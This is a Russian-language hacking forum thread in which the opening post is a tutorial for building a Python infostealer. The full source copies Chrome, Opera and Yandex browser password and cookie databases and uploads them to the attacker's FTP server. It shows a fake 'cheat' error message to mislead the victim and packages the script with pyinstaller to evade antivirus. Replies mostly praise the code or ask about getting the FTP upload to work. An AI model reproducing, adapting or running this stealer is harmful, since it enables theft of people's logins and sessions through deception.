Загрузка...

Writing a password ******* in Python

Thread in Virology created by LazersBoy Oct 12, 2019. 2930 views

  1. LazersBoy
    LazersBoy Topic starter Oct 12, 2019 Banned 163 Oct 10, 2019
    Всем привет, это моя первая статья, сразу хочу сказать)

    Напишем сегодня ******* на пайтоне, и запакуем его в exe, чтоб он не палился антивирусами, по моим данным ( 1/67 )

    Начнем с самого простого, это подключение библиотек
    Code
    import os.path
    import getpass
    from ftplib import FTP
    import random
    con = FTP("хост","логин","пароль")
    • первая библиотека ( os.path ) - используется для проверки директории на валидность, точнее на то существует ли она в природе
    • вторая библиотека ( getpass ) - используется для получения юзернейма пользователя под которым запущен процесс, это нужно для доступа к папке AppData
    • третья библиотека ( ftplib ) - тут самое интересное, она нам поможет отправлять пароли по FTP на наш сервер
    • четвертая библиотека( random ) - ну тут все просто, мы рандомизируем названия файла который отправляем на сервер
    И напоследок мы подключаемся по ftp по логину паролю и хосту.

    Теперь перейдем к более интересным вещам, чем просто библиотеки, мы напишем уже сами пути к директориям, где лежат наши пароли, а пароли мы будем воровать(в учеб.целях) из браузеров - Opera, Yandex, Google Chrome

    Итак, вот код, пишем его, далее будем его разбирать
    Code
    UserName = '\\' + getpass.getuser()
    dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
    dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"

    dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
    dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"

    dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
    dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
    UserName - принимает значения имя текущего пользователя

    dir_cookie_google, dir_pass_google, ...., ... - и т.д. Это все директории где хранятся пароли, нам интерестны именно эти 3 браузера. Будем забирать пароли и куки и перекидывать их себе на сервер по FTP. Потом открывать в sqlite manager, но об этом позже....

    У нас имеются директории, у нас есть библиотеки, для работы, что же дальше? Думаю пора приступать к основном задаче, это написание непосредственно *******а.

    Вот код, вы пока напишите его, а я вам потом расскажу о нем ))

    Code
    dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
    dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
    dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
    dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"

    def check():
    if (os.path.exists(dir_google)) == True:
    filename = "google"+str(random.randint(1, 10000))
    filename2 = "google_pass" + str(random.randint(1, 10000))
    with open(dir_cookie_google, "rb") as content:
    con.storbinary("STOR %s" % filename, content)
    with open(dir_pass_google, "rb") as content:
    con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_opera)) == True:
    filename = "opera"+str(random.randint(1, 10000))
    filename2 = "opera_pass" + str(random.randint(1, 10000))
    with open(dir_cookie_opera, "rb") as content:
    con.storbinary("STOR %s" % filename, content)
    with open(dir_pass_opera, "rb") as content:
    con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_yandex)) == True:
    filename = "yandex"+str(random.randint(1, 10000))
    filename2 = "yandex_pass" + str(random.randint(1, 10000))
    with open(dir_cookie_yandex, "rb") as content:
    con.storbinary("STOR %s" % filename, content)
    with open(dir_pass_yandex, "rb") as content:
    Код получился не маленький, что есть то есть. Рассмотрим первые строчки, в начале до функции мы записываем в переменные адреса наших директорий, для последующей проверки на валидность. Зачем это нужно? спросите вы меня, да просто так проще! Зачем ставить try, except если можно проверить на валидность с помощью os.path.exits.

    Далее у нас идет функция, со множествами if , тут ничего ничего сложного нету, все просто:

    Code
    if (os.path.exists(dir_google)) == True:
    filename = "google"+str(random.randint(1, 10000))
    filename2 = "google_pass" + str(random.randint(1, 10000))
    with open(dir_cookie_google, "rb") as content:
    con.storbinary("STOR %s" % filename, content)
    with open(dir_pass_google, "rb") as content:
    con.storbinary("STOR %s" % filename2, content)
    Мы проверяем является ли директория валидной, а после уже открываем ее, и отправляем файл на наш сервер FTP. Такс..., функцию написали, библиотеки подключили, директории есть, что не хватает? Думаю не хватает задействовать функцию и вывести на экран какую нибудь псевдо-ошибку, что мол библиотека не подключена и все дела.. Будем действовать по такой схеме))

    Вот код, объяснять тут думаю нечего:
    Code
    check()
    print("Error library import HOUII.dll")
    print("Error RUN cheat")
    input()
    НО, я все же расскажу, первая строка - вызываем функцию, которая ворует пароли.

    Далее мы выводим сообщения об якобы ошибке которой на деле и нет, что бы пользователь думал что это у него проблемы какие то. И что программа не зловредная, а наоборот, пыталась помочь. но как оказалось библиотеки видите ли у него нет))

    Вот и весь код, ниже он целиком:

    Code
    Python:
    import os.path
    import getpass
    from ftplib import FTP
    import random

    con = FTP("хост","логин","пароль")

    """
    Hack to directory
    """

    UserName = '\\' + getpass.getuser()

    dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
    dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
    dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
    dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"
    dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
    dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
    dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
    dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
    dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
    dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"

    def check():
    if (os.path.exists(dir_google)) == True:
    filename = "google"+str(random.randint(1, 10000))
    filename2 = "google_pass" + str(random.randint(1, 10000))
    with open(dir_cookie_google, "rb") as content:
    con.storbinary("STOR %s" % filename, content)
    with open(dir_pass_google, "rb") as content:
    con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_opera)) == True:
    filename = "opera"+str(random.randint(1, 10000))
    filename2 = "opera_pass" + str(random.randint(1, 10000))
    with open(dir_cookie_opera, "rb") as content:
    con.storbinary("STOR %s" % filename, content)
    with open(dir_pass_opera, "rb") as content:
    con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_yandex)) == True:
    filename = "yandex"+str(random.randint(1, 10000))
    filename2 = "yandex_pass" + str(random.randint(1, 10000))
    with open(dir_cookie_yandex, "rb") as content:
    con.storbinary("STOR %s" % filename, content)
    with open(dir_pass_yandex, "rb") as content:
    con.storbinary("STOR %s" % filename2, content)

    check()
    print("Error library import HOUII.dll")
    print("Error RUN cheat")
    input()
    У нас есть код, но он на пайтоне, как же его эксплуатировать на чужом ПК?

    Думаю ответ очевиден - pyinstaller

    Давайте скачаем его:

    Code
    pip install pyinstaller
    Далее скомпилируем его в EXE'шник, дабы было все проще у нас ))

    Code
    pyinstaller -F <my_script>.py
    Вот и все, по сути у нас есть EXE файл, который не палится антивирусами, ну разве что windows защитник может его заподозрить, все же мы ходим по директориям. Кроме того еще и отправляем файлы на какой то не понятный сервер.... НО на практике kaspersky, dr.web, и др популярные антивирусы не определяют его как вредоносное программное обеспечения, даже если ему тыкнуть носом, вот мол, смотри, давай его просканируем, может там вирусы трояны бэкдоры! он говорит - нет, там нету ничего....

    Вот так вот все, всем спасибо! рад был поделится с вами своим скриптом


    NNullday
     
  2. OllEdzy
    OllEdzy Oct 12, 2019 olle 67 Sep 20, 2017
    спс, нихуя не понял, но респект тебе
     
  3. LazersBoy
    LazersBoy Topic starter Oct 12, 2019 Banned 163 Oct 10, 2019
    OllEdzy, Благодарствую, уважаемый
     
  4. Kiri4ok
    Kiri4ok Oct 20, 2019 0 Nov 23, 2018
    Скрипт висит при попытке залить файл на FTP, пробовал с разными хостингами
     
  5. Еремей
    Еремей Oct 20, 2019 Гламурный эмо-гопник 1740 Jul 20, 2018
    Годнота, автора:PepeYes:
     
  6. MrD1459
    MrD1459 Dec 5, 2019 1 Mar 18, 2019
  7. neNARkko
    neNARkko Feb 5, 2020 0 Feb 5, 2020
    Чёт туплю, как я понял, шоб ftp воркал надо ебашить на хостинг
     
  8. Cept
    Cept Mar 25, 2020 Banned 1154 Aug 30, 2019
    Не шарю, но код выглядит так по хакерски:pepeMib:
     
  9. realc0r3
    realc0r3 Mar 31, 2020 Banned 1 Mar 26, 2020
    Забыл сказать, что работать будет не везде, ибо зависимость от того, установлен ли python на компьютере жертвы или нет.
     
  10. renameduser_342850
    Любой скрипт на питоне палится ёбанным АВ
    The post was merged to previous Apr 3, 2020
    Но код ахуенный:roflanZdarova:
     
Top
Loading...